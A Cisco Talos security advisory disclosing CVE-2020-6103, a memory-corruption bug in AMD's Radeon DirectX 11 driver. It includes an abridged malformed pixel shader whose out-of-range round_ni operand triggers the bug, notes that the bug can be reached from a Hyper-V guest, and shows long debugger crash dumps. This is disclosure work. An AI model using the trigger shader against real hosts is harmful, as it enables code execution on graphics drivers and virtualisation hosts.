Talos Vulnerability Report

TALOS-2020-1043

# AMD Radeon DirectX 11 Driver atidxx64.dll Shader Functionality ROUND_NI Code Execution Vulnerability

JULY 14, 2020

### CVE NUMBER

CVE-2020-6103

### Summary

An exploitable code execution vulnerability exists in the Shader functionality of AMD Radeon DirectX 11 Driver atidxx64.dll 26.20.15019.19000. An attacker can provide a a specially crafted shader file to trigger this vulnerability, resulting in code execution. This vulnerability can be triggered from a HYPER-V guest using the RemoteFX feature, leading to executing the vulnerable code on the HYPER-V host (inside of the rdvgm.exe process). Theoretically this vulnerability could be also triggered from web browser (using webGL and webassembly).

### Tested Versions

AMD Radeon DirectX 11 Driver atidxx64.dll 26.20.15019.19000

### Product URLs

https://amd.com

### CVSSv3 Score

8.5 - CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

### CWE

CWE-787 - Out-of-bounds Write

### Details

Radeon DirectX 11 Driver atidxx64.dll

AMD Graphics drivers is a software for AMD Graphics GPU installed on the PC. It is a software used to communicate between the operating system and the GPU device. This software is required in most cases for the hardware device to function properly.

This vulnerability can be triggered by supplying a malformed pixel shader. This leads to a memory corruption issue in AMD graphics drivers.

Example of pixel shader triggering the bug:

```
ps_4_1
dcl_global_flags refactoringAllowed
dcl_input_ps_siv linear noperspective v0.xy, position
dcl_output o0.xyzw
dcl_temps 5
...
round_ni r1.y, r1048444929.y
```

By modifying the `round_ni` (floating-point round to integral float) source operand (register out of range), an attacker is able to trigger a memory corruption in AMD graphics driver. An attacker can influence the `RCX` (size) value for the `memset` operation by modifying the shader bytecode.

```
0:000> r
rax=0000000000000000 rbx=00000180c7c80080 rcx=0000000bfffff860
rdx=0000000000000000 rsi=0000000c7ae367e0 rdi=0000018142ab7000
rip=00007ffb69f7d5b9 rsp=0000001c53af7740 rbp=0000000000000030
 r8=0000000c7ae367e0  r9=0000000000000000 r10=00000180c7ae3398
r11=00000180c7c80080 r12=00000180c7c80050 r13=00000180c7ae3398
r14=00000180c7ae3378 r15=00000000c7ae3681
iopl=0         nv up ei pl nz na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
atidxx64!AmdLiquidVrD3D11WrapDeviceContext+0x94e49:
00007ffb`69f7d5b9 f3aa            rep stos byte ptr [rdi]
```

Stack trace:

```
0:000> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffb`698a9478 : 00000180`c7ae3398 00000000`00000030 00000000`c7ae367e 00000180`c7ae33c8 :
atidxx64!AmdLiquidVrD3D11WrapDeviceContext+0x94e49
01 00007ffb`698a35d8 : 00000000`c7ae3681 0000001c`53af77e0 00000000`00000000 00000000`00000002 :
atidxx64!AmdDxGsaFreeCompiledShader+0x2d7f78
02 00007ffb`69d00c88 : 00000180`c7ae33c8 00000180`c7ac44e8 00000180`c7ae33b8 00000180`c7a788c0 :
atidxx64!AmdDxGsaFreeCompiledShader+0x2d20d8
03 00007ffb`69d04a34 : 00000180`c7ac44e8 00000180`00000000 00000180`c7ac44f8 00000180`c7ae3240 :
atidxx64!AmdDxGsaFreeCompiledShader+0x72f788
04 00007ffb`69d042a7 : 00000180`c7a8ed00 00000180`c7a8ee78 00000000`00000008 00000180`c7a8ee78 :
atidxx64!AmdDxGsaFreeCompiledShader+0x733534
05 00007ffb`697091c0 : 00000180`c7a82a70 00000180`c7ac7d70 00000180`c7aa0ec8 00000180`c7aae660 :
atidxx64!AmdDxGsaFreeCompiledShader+0x732da7
06 00007ffb`69707d8b : 00000180`c7a86cd0 00000180`c7a8ed78 00000000`00000000 0000001c`53af7ab0 :
atidxx64!AmdDxGsaFreeCompiledShader+0x137cc0
07 00007ffb`696f3c86 : 00000180`c7a82a70 00000180`c7a86e38 00000180`c7a80398 00000180`c7a82a70 :
atidxx64!AmdDxGsaFreeCompiledShader+0x13688b
08 00007ffb`696d2e6b : 00000180`c7a82a70 00000180`c7a80398 0000001c`53af8440 00000180`c7a82a70 :
atidxx64!AmdDxGsaFreeCompiledShader+0x122786
09 00007ffb`695f0964 : 00000000`00000001 0000001c`53af8440 00000180`c7a80398 0000001c`53af8440 :
atidxx64!AmdDxGsaFreeCompiledShader+0x10196b
0a 00007ffb`69e28fbf : 00000000`00000000 0000001c`53af8330 0000001c`53af8440 00000180`c79dfeb0 : atidxx64!AmdDxGsaFreeCompiledShader+0x1f464
0b 00007ffb`69e0e23b : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
atidxx64!AmdDxGsaFreeCompiledShader+0x857abf
0c 00007ffb`69e0dd66 : 00000000`00000000 00000180`c7a80080 00000180`c79d1b40 0000001c`53afc0d0 :
atidxx64!AmdDxGsaFreeCompiledShader+0x83cd3b
0d 00007ffb`69e3ec63 : 00000180`c7a80080 00000000`00000000 00000180`c7a399e0 0000001c`53afc0d0 :
atidxx64!AmdDxGsaFreeCompiledShader+0x83c866
0e 00007ffb`69e0dbf4 : 00000000`00000004 00000180`c7a77a00 00000180`c7a26cb0 00000180`c79dfca0 :
atidxx64!AmdDxGsaFreeCompiledShader+0x86d763
0f 00007ffb`69ee1e71 : 00000000`00000000 0000001c`53afc580 00000000`00000000 0000001c`53afc210 :
atidxx64!AmdDxGsaFreeCompiledShader+0x83c6f4
10 00007ffb`695ec1ea : 00000000`00000000 00000000`00000000 0000001c`53afc580 00000000`00000020 :
atidxx64!AmdDxGsaFreeCompiledShader+0x910971
11 00007ffb`695ec033 : 00000180`c31ce590 00000000`00000003 00000000`00000003 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x1acea
12 00007ffb`6956d3de : 00000000`00000001 00000000`00000000 00000180`c1630000 00000180`00000003 : atidxx64!AmdDxGsaFreeCompiledShader+0x1ab33
13 00007ffb`69d8dde5 : 00007ffb`69560000 00000180`c7980208 00000000`00000000 ffffffff`ffffffff : atidxx64!XdxQueryTlsLookupTable+0x75ee
14 00007ffb`69d897f3 : 00000000`00000000 0000001c`53afc490 00000180`c31cc540 00000180`c2fe48b8 :
atidxx64!AmdDxGsaFreeCompiledShader+0x7bc8e5
15 00007ffb`69df4a59 : 00000000`00000000 0000001c`53afc580 00000180`c31cbec0 00000180`c16f2230 :
atidxx64!AmdDxGsaFreeCompiledShader+0x7b82f3
16 00007ffb`69581220 : 00000180`c16f2348 00000180`c374d410 00000180`c16c81a8 00000180`c16d4600 :
atidxx64!AmdDxGsaFreeCompiledShader+0x823559
17 00007ffb`75588edc : 00000000`00000000 0000001c`53afc770 00000180`c16f2338 00000180`c16f0598 : atidxx64!XdxQueryTlsLookupTable+0x1b430
18 00007ffb`7559295f : 0000001c`00000001 00000180`c3749828 00000180`c16f2338 00000180`c373f910 :
d3d11!CPixelShader::CLS::FinalConstruct+0x23c
19 00007ffb`7559289a : 0000001c`53afe100 00007ffb`1edb7a18 00000180`c16f1f80 00007ffb`1ed2cf20 :
d3d11!CLayeredObjectWithCLS<CPixelShader>::FinalConstruct+0xa3
1a 00007ffb`7557ee58 : 00000180`c16f2228 0000001c`53afe100 0000001c`53afe080 00007ffb`1edb7a18 :
d3d11!CLayeredObjectWithCLS<CPixelShader>::CreateInstance+0x152
1b 00007ffb`7558b17d : 00000000`0000006b 00000180`c16f1fc8 00000180`c1630000 00000000`40000062 : d3d11!CDevice::CreateLayeredChild+0xc88
1c 00007ffb`1ed43ade : 00000180`c16f1fc8 00000000`00000000 00000180`c16edc30 00000000`00000009 :
d3d11!NDXGI::CDevice::CreateLayeredChild+0x6d
1d 00007ffb`1ed30d83 : 00000180`c16f2078 00000000`00000000 00000000`00000000 00000180`c16f1f80 :
D3D11_3SDKLayers!NDebug::CDeviceChild<ID3D11PixelShader>::FinalConstruct+0x82
1e 00007ffb`1eceda23 : 00000180`c16f1fb0 00000180`c16f1fa8 00000180`c16f1fa8 00000180`c16f1f80 :
D3D11_3SDKLayers!CLayeredObject<NDebug::CPixelShader>::CreateInstance+0x167
1f 00007ffb`7558b950 : 00000180`c16f1f80 00000000`00000030 0000001c`53afe1f0 00000180`c1630000 :
D3D11_3SDKLayers!NDebug::CDevice::CreateLayeredChild+0x773
20 00007ffb`755714f4 : 00000180`c16c6560 0000001c`00000009 00000180`c16f08d0 00000180`c16c73f8 :
d3d11!NOutermost::CDevice::CreateLayeredChild+0x1b0
21 00007ffb`75571463 : 00000180`c16f08d0 00000000`0000c000 00000000`00000000 00000000`00000001 :
d3d11!CDevice::CreateAndRecreateLayeredChild<SD3D11LayeredPixelShaderCreationArgs>+0x64
22 00007ffb`755711e8 : 00000180`c16c73f8 00000180`c16f08d0 00000000`00000b00 00000000`00000000 :
d3d11!CDevice::CreatePixelShader_Worker+0x203
23 00007ffb`1ed19f85 : 00000180`c16c65b8 00000180`00000001 00000180`c16c65b8 00000180`c16c65c0 : d3d11!CDevice::CreatePixelShader+0x28
*** WARNING: Unable to verify checksum for POC_EXEC11.exe
24 00007ff6`7fbd872d : 00000000`00000000 00000000`00000000 0000001c`53afe6d8 00000180`c16f08e4 :
D3D11_3SDKLayers!NDebug::CDevice::CreatePixelShader+0x115
25 00007ff6`7fbd8c3c : 00000180`c16c65c0 00000180`c16f08d0 00000000`00000b00 cdcdcdcd`00000000 : POC_EXEC11+0x1872d
26 00007ff6`7fbd61b8 : 00000180`c16c65c0 00000180`c166d2e0 00000180`00000000 00007ff6`42de0387 : POC_EXEC11+0x18c3c
27 00007ff6`7fbeaa50 : 00000180`c16c65c0 00000180`c1670000 00000000`00000000 00000000`00000000 : POC_EXEC11+0x161b8
28 00007ff6`7fbe6e22 : 00000180`c16969b0 00000180`c1696901 00000000`00000000 00000000`00000000 : POC_EXEC11+0x2aa50
29 00007ff6`7fbe319c : 00000180`c16969b0 00310043`00000201 00780065`002e0031 fefefefe`00000065 : POC_EXEC11+0x26e22
2a 00007ff6`7fbd47dd : 00007ff6`00009200 00007ff6`7fbc0001 00000000`00000320 00000000`00000258 : POC_EXEC11+0x2319c
2b 00007ff6`7fc8354d : 00007ff6`7fbc0000 00000000`00000000 00000180`c1633300 00007ff6`0000000a : POC_EXEC11+0x147dd
2c 00007ff6`7fc833fe : 00007ff6`7fd64000 00007ff6`7fd644d0 00000000`00000000 00000000`00000000 : POC_EXEC11+0xc354d
2d 00007ff6`7fc832be : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : POC_EXEC11+0xc33fe
2e 00007ff6`7fc835d9 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : POC_EXEC11+0xc32be
2f 00007ffb`79ba7bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : POC_EXEC11+0xc35d9
30 00007ffb`7b3aced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
31 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
```

## Crash Information

0:000> !analyze -v *************************** * * * Exception Analysis * * * ***************************

```
KEY_VALUES_STRING: 1

        Key  : AV.Fault
        Value: Write

        Key  : Timeline.OS.Boot.DeltaSec
        Value: 5604

        Key  : Timeline.Process.Start.DeltaSec
        Value: 61


PROCESSES_ANALYSIS: 1

SERVICE_ANALYSIS: 1

STACKHASH_ANALYSIS: 1

TIMELINE_ANALYSIS: 1

Timeline: !analyze.Start
        Name: <blank>
        Time: 2020-03-21T19:05:15.105Z
        Diff: 105 mSec

Timeline: Dump.Current
        Name: <blank>
        Time: 2020-03-21T19:05:15.0Z
        Diff: 0 mSec

Timeline: Process.Start
        Name: <blank>
        Time: 2020-03-21T19:04:14.0Z
        Diff: 61000 mSec

Timeline: OS.Boot
        Name: <blank>
        Time: 2020-03-21T17:31:51.0Z
        Diff: 5604000 mSec


DUMP_CLASS: 2

DUMP_QUALIFIER: 0

FAULTING_IP: 
atidxx64!AmdLiquidVrD3D11WrapDeviceContext+94e49
00007ffb`69f7d5b9 f3aa            rep stos byte ptr [rdi]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffb69f7d5b9 (atidxx64!AmdLiquidVrD3D11WrapDeviceContext+0x0000000000094e49)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000001
   Parameter[1]: 0000018142ab7000
Attempt to write to address 0000018142ab7000

FAULTING_THREAD:  00000e40

PROCESS_NAME:  POC_EXEC11.exe

FOLLOWUP_IP: 
atidxx64!AmdLiquidVrD3D11WrapDeviceContext+94e49
00007ffb`69f7d5b9 f3aa            rep stos byte ptr [rdi]

WRITE_ADDRESS:  0000018142ab7000 

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  0000018142ab7000

WATSON_BKT_PROCSTAMP:  5e1a142e

WATSON_BKT_MODULE:  atidxx64.dll

WATSON_BKT_MODSTAMP:  5e59a28f

WATSON_BKT_MODOFFSET:  a1d5b9

WATSON_BKT_MODVER:  26.20.15019.19000

MODULE_VER_PRODUCT:  Advanced Micro Devices, Inc. Radeon DirectX 11 Driver

BUILD_VERSION_STRING:  18362.1.amd64fre.19h1_release.190318-1202

MODLIST_WITH_TSCHKSUM_HASH:  e4e06efc2a0a4a96b51284f574fc32080ab882b0

MODLIST_SHA1_HASH:  d750f006ba2fb2ab3fbce41eead7680b98382016

NTGLOBALFLAG:  470

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS:  0

PRODUCT_TYPE:  1

SUITE_MASK:  272

DUMP_TYPE:  fe

ANALYSIS_SESSION_HOST:  CLAB

ANALYSIS_SESSION_TIME:  03-21-2020 20:05:15.0105

ANALYSIS_VERSION: 10.0.18362.1 amd64fre

THREAD_ATTRIBUTES: 
```

```
OS_LOCALE:  ENU

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE

DEFAULT_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE

PRIMARY_PROBLEM_CLASS:  APPLICATION_FAULT

PROBLEM_CLASSES:

        ID:     [0n313]
        Type:   [@ACCESS_VIOLATION]
        Class:  Addendum
        Scope:  BUCKET_ID
        Name:   Omit
        Data:   Omit
        PID:    [Unspecified]
        TID:    [0xe40]
        Frame:  [0] : atidxx64!AmdLiquidVrD3D11WrapDeviceContext

        ID:     [0n286]
        Type:   [INVALID_POINTER_WRITE]
        Class:  Primary
        Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
                BUCKET_ID
        Name:   Add
        Data:   Omit
        PID:    [Unspecified]
        TID:    [0xe40]
        Frame:  [0] : atidxx64!AmdLiquidVrD3D11WrapDeviceContext

        ID:     [0n117]
        Type:   [EXPLOITABLE]
        Class:  Addendum
        Scope:  DEFAULT_BUCKET_ID (Failure Bucket ID prefix)
                BUCKET_ID
        Name:   Add
        Data:   Omit
        PID:    [0x3e34]
        TID:    [0xe40]
        Frame:  [0] : atidxx64!AmdLiquidVrD3D11WrapDeviceContext

LAST_CONTROL_TRANSFER:  from 00007ffb698a9478 to 00007ffb69f7d5b9

STACK_TEXT:  
0000001c`53af7740 00007ffb`698a9478 : 00000180`c7ae3398 00000000`00000030 00000000`c7ae367e 00000180`c7ae33c8 : 
atidxx64!AmdLiquidVrD3D11WrapDeviceContext+0x94e49
0000001c`53af7750 00007ffb`698a35d8 : 00000000`c7ae3681 0000001c`53af77e0 00000000`00000000 00000000`00000002 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x2d7f78
0000001c`53af77b0 00007ffb`69d00c88 : 00000180`c7ae33c8 00000180`c7ac44e8 00000180`c7ae33b8 00000180`c7a788c0 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x2d20d8
0000001c`53af7810 00007ffb`69d04a34 : 00000180`c7ac44e8 00000180`00000000 00000180`c7ac44f8 00000180`c7ae3240 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x72f788
0000001c`53af7880 00007ffb`69d042a7 : 00000180`c7a8ed00 00000180`c7a8ee78 00000000`00000008 00000180`c7a8ee78 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x733534
0000001c`53af7900 00007ffb`697091c0 : 00000180`c7a82a70 00000180`c7ac7d70 00000180`c7aa0ec8 00000180`c7aae660 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x732da7
0000001c`53af7950 00007ffb`69707d8b : 00000180`c7a86cd0 00000180`c7a8ed78 00000000`00000000 0000001c`53af7ab0 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x137cc0
0000001c`53af79b0 00007ffb`696f3c86 : 00000180`c7a82a70 00000180`c7a86e38 00000180`c7a80398 00000180`c7a82a70 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x13688b
0000001c`53af7b70 00007ffb`696d2e6b : 00000180`c7a82a70 00000180`c7a80398 0000001c`53af8440 00000180`c7a82a70 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x122786
0000001c`53af7bf0 00007ffb`695f0964 : 00000000`00000001 0000001c`53af8440 00000180`c7a80398 0000001c`53af8440 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x10196b
0000001c`53af8200 00007ffb`69e28fbf : 00000000`00000000 0000001c`53af8330 0000001c`53af8440 00000180`c79dfeb0 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x1f464
0000001c`53af8230 00007ffb`69e0e23b : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x857abf
0000001c`53af83a0 00007ffb`69e0dd66 : 00000000`00000000 00000180`c7a80080 00000180`c79d1b40 0000001c`53afc0d0 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x83cd3b
0000001c`53af8400 00007ffb`69e3ec63 : 00000180`c7a80080 00000000`00000000 00000180`c7a399e0 0000001c`53afc0d0 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x83c866
0000001c`53afc080 00007ffb`69e0dbf4 : 00000000`00000004 00000180`c7a77a00 00000180`c7a26cb0 00000180`c79dfca0 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x86d763
0000001c`53afc0b0 00007ffb`69ee1e71 : 00000000`00000000 0000001c`53afc580 00000000`00000000 0000001c`53afc210 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x83c6f4
0000001c`53afc110 00007ffb`695ec1ea : 00000000`00000000 00000000`00000000 0000001c`53afc580 00000000`00000020 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x910971
0000001c`53afc150 00007ffb`695ec033 : 00000180`c31ce590 00000000`00000003 00000000`00000003 00000000`00000000 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x1acea
0000001c`53afc190 00007ffb`6956d3de : 00000000`00000001 00000000`00000000 00000180`c1630000 00000180`00000003 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x1ab33
0000001c`53afc220 00007ffb`69d8dde5 : 00007ffb`69560000 00000180`c7980208 00000000`00000000 ffffffff`ffffffff : 
atidxx64!XdxQueryTlsLookupTable+0x75ee
0000001c`53afc260 00007ffb`69d897f3 : 00000000`00000000 0000001c`53afc490 00000180`c31cc540 00000180`c2fe48b8 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x7bc8e5
0000001c`53afc390 00007ffb`69df4a59 : 00000000`00000000 0000001c`53afc580 00000180`c31cbec0 00000180`c16f2230 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x7b82f3
0000001c`53afc530 00007ffb`69581220 : 00000180`c16f2348 00000180`c374d410 00000180`c16c81a8 00000180`c16d4600 : 
atidxx64!AmdDxGsaFreeCompiledShader+0x823559
0000001c`53afc560 00007ffb`75588edc : 00000000`00000000 0000001c`53afc770 00000180`c16f2338 00000180`c16f0598 : 
atidxx64!XdxQueryTlsLookupTable+0x1b430
0000001c`53afc670 00007ffb`7559295f : 0000001c`00000001 00000180`c3749828 00000180`c16f2338 00000180`c373f910 : 
d3d11!CPixelShader::CLS::FinalConstruct+0x23c
0000001c`53afc8d0 00007ffb`7559289a : 0000001c`53afe100 00007ffb`1edb7a18 00000180`c16f1f80 00007ffb`1ed2cf20 : 
d3d11!CLayeredObjectWithCLS<CPixelShader>::FinalConstruct+0xa3
0000001c`53afc960 00007ffb`7557ee58 : 00000180`c16f2228 0000001c`53afe100 0000001c`53afe080 00007ffb`1edb7a18 : 
d3d11!CLayeredObjectWithCLS<CPixelShader>::CreateInstance+0x152
0000001c`53afc9c0 00007ffb`7558b17d : 00000000`0000006b 00000180`c16f1fc8 00000180`c1630000 00000000`40000062 : 
d3d11!CDevice::CreateLayeredChild+0xc88
0000001c`53afce00 00007ffb`1ed43ade : 00000180`c16f1fc8 00000000`00000000 00000180`c16edc30 00000000`00000009 : 
d3d11!NDXGI::CDevice::CreateLayeredChild+0x6d
0000001c`53afcf70 00007ffb`1ed30d83 : 00000180`c16f2078 00000000`00000000 00000000`00000000 00000180`c16f1f80 : 
D3D11_3SDKLayers!NDebug::CDeviceChild<ID3D11PixelShader>::FinalConstruct+0x82
0000001c`53afe000 00007ffb`1eceda23 : 00000180`c16f1fb0 00000180`c16f1fa8 00000180`c16f1fa8 00000180`c16f1f80 : 
D3D11_3SDKLayers!CLayeredObject<NDebug::CPixelShader>::CreateInstance+0x167
0000001c`53afe0c0 00007ffb`7558b950 : 00000180`c16f1f80 00000000`00000030 0000001c`53afe1f0 00000180`c1630000 : 
D3D11_3SDKLayers!NDebug::CDevice::CreateLayeredChild+0x773
0000001c`53afe1b0 00007ffb`755714f4 : 00000180`c16c6560 0000001c`00000009 00000180`c16f08d0 00000180`c16c73f8 : 
d3d11!NOutermost::CDevice::CreateLayeredChild+0x1b0
0000001c`53afe3a0 00007ffb`75571463 : 00000180`c16f08d0 00000000`0000c000 00000000`00000000 00000000`00000001 : 
d3d11!CDevice::CreateAndRecreateLayeredChild<SD3D11LayeredPixelShaderCreationArgs>+0x64
0000001c`53afe400 00007ffb`755711e8 : 00000180`c16c73f8 00000180`c16f08d0 00000000`00000b00 00000000`00000000 : 
d3d11!CDevice::CreatePixelShader_Worker+0x203
0000001c`53afe5b0 00007ffb`1ed19f85 : 00000180`c16c65b8 00000180`00000001 00000180`c16c65b8 00000180`c16c65c0 : 
d3d11!CDevice::CreatePixelShader+0x28
0000001c`53afe600 00007ff6`7fbd872d : 00000000`00000000 00000000`00000000 0000001c`53afe6d8 00000180`c16f08e4 : 
```

```
D3D11_3SDKLayers!NDebug::CDevice::CreatePixelShader+0x115
0000001c`53afe670 00007ff6`7fbd8c3c : 00000180`c16c65c0 00000180`c16f08d0 00000000`00000b00 cdcdcdcd`00000000 : POC_EXEC11+0x1872d
0000001c`53afe8c0 00007ff6`7fbd61b8 : 00000180`c16c65c0 00000180`c166d2e0 00000180`00000000 00007ff6`42de0387 : POC_EXEC11+0x18c3c
0000001c`53afe900 00007ff6`7fbeaa50 : 00000180`c16c65c0 00000180`c1670000 00000000`00000000 00000000`00000000 : POC_EXEC11+0x161b8
0000001c`53afeda0 00007ff6`7fbe6e22 : 00000180`c16969b0 00000180`c1696901 00000000`00000000 00000000`00000000 : POC_EXEC11+0x2aa50
0000001c`53aff040 00007ff6`7fbe319c : 00000180`c16969b0 00310043`00000201 00780065`002e0031 fefefefe`00000065 : POC_EXEC11+0x26e22
0000001c`53aff430 00007ff6`7fbd47dd : 00007ff6`00009200 00007ff6`7fbc0001 00000000`00000320 00000000`00000258 : POC_EXEC11+0x2319c
0000001c`53aff630 00007ff6`7fc8354d : 00007ff6`7fbc0000 00000000`00000000 00000180`c1633300 00007ff6`0000000a : POC_EXEC11+0x147dd
0000001c`53aff6e0 00007ff6`7fc833fe : 00007ff6`7fd64000 00007ff6`7fd644d0 00000000`00000000 00000000`00000000 : POC_EXEC11+0xc354d
0000001c`53aff720 00007ff6`7fc832be : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : POC_EXEC11+0xc33fe
0000001c`53aff790 00007ff6`7fc835d9 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : POC_EXEC11+0xc32be
0000001c`53aff7c0 00007ffb`79ba7bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : POC_EXEC11+0xc35d9
0000001c`53aff7f0 00007ffb`7b3aced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
KERNEL32!BaseThreadInitThunk+0x14
0000001c`53aff820 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :
ntdll!RtlUserThreadStart+0x21


STACK_COMMAND:  ~0s ; .cxr ; kb

THREAD_SHA1_HASH_MOD_FUNC:  156c29be133179e782e10dec9e6311754f98f606

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  d931d98a3559b53043550bc0bf70872531cc8981

THREAD_SHA1_HASH_MOD:  65bfb6ca7c7add101712898ff68806f75d7d3ca7

FAULT_INSTR_CODE:  8b49aaf3

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  atidxx64!AmdLiquidVrD3D11WrapDeviceContext+94e49

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: atidxx64

IMAGE_NAME:  atidxx64.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5e59a28f

FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_EXPLOITABLE_c0000005_atidxx64.dll!AmdLiquidVrD3D11WrapDeviceContext

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_atidxx64!AmdLiquidVrD3D11WrapDeviceContext+94e49

FAILURE_EXCEPTION_CODE:  c0000005

FAILURE_IMAGE_NAME:  atidxx64.dll

BUCKET_ID_IMAGE_STR:  atidxx64.dll

FAILURE_MODULE_NAME:  atidxx64

BUCKET_ID_MODULE_STR:  atidxx64

FAILURE_FUNCTION_NAME:  AmdLiquidVrD3D11WrapDeviceContext

BUCKET_ID_FUNCTION_STR:  AmdLiquidVrD3D11WrapDeviceContext

BUCKET_ID_OFFSET:  94e49

BUCKET_ID_MODTIMEDATESTAMP:  5e59a28f

BUCKET_ID_MODCHECKSUM:  19151d4

BUCKET_ID_MODVER_STR:  0.0.0.0

BUCKET_ID_PREFIX_STR:  APPLICATION_FAULT_INVALID_POINTER_WRITE_EXPLOITABLE_

FAILURE_PROBLEM_CLASS:  APPLICATION_FAULT

FAILURE_SYMBOL_NAME:  atidxx64.dll!AmdLiquidVrD3D11WrapDeviceContext

TARGET_TIME:  2020-03-21T19:06:23.000Z

OSBUILD:  18363

OSSERVICEPACK:  329

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

OSEDITION:  Windows 10 WinNt SingleUserTS

USER_LCID:  0

OSBUILD_TIMESTAMP:  unknown_date

BUILDDATESTAMP_STR:  190318-1202

BUILDLAB_STR:  19h1_release

BUILDOSVER_STR:  10.0.18362.1.amd64fre.19h1_release.190318-1202

ANALYSIS_SESSION_ELAPSED_TIME:  109fd

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_write_exploitable_c0000005_atidxx64.dll!amdliquidvrd3d11wrapdevicecontext

FAILURE_ID_HASH:  {e36eda88-2ee2-fa03-8702-6555d25ebace}

Followup:     MachineOwner
---------
```

### Timeline

2020-03-31 - Vendor Disclosure

2020-07-14- Public Release

### CREDIT

Discovered by Piotr Bania of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2020-1042

NEXT REPORT

TALOS-2020-1069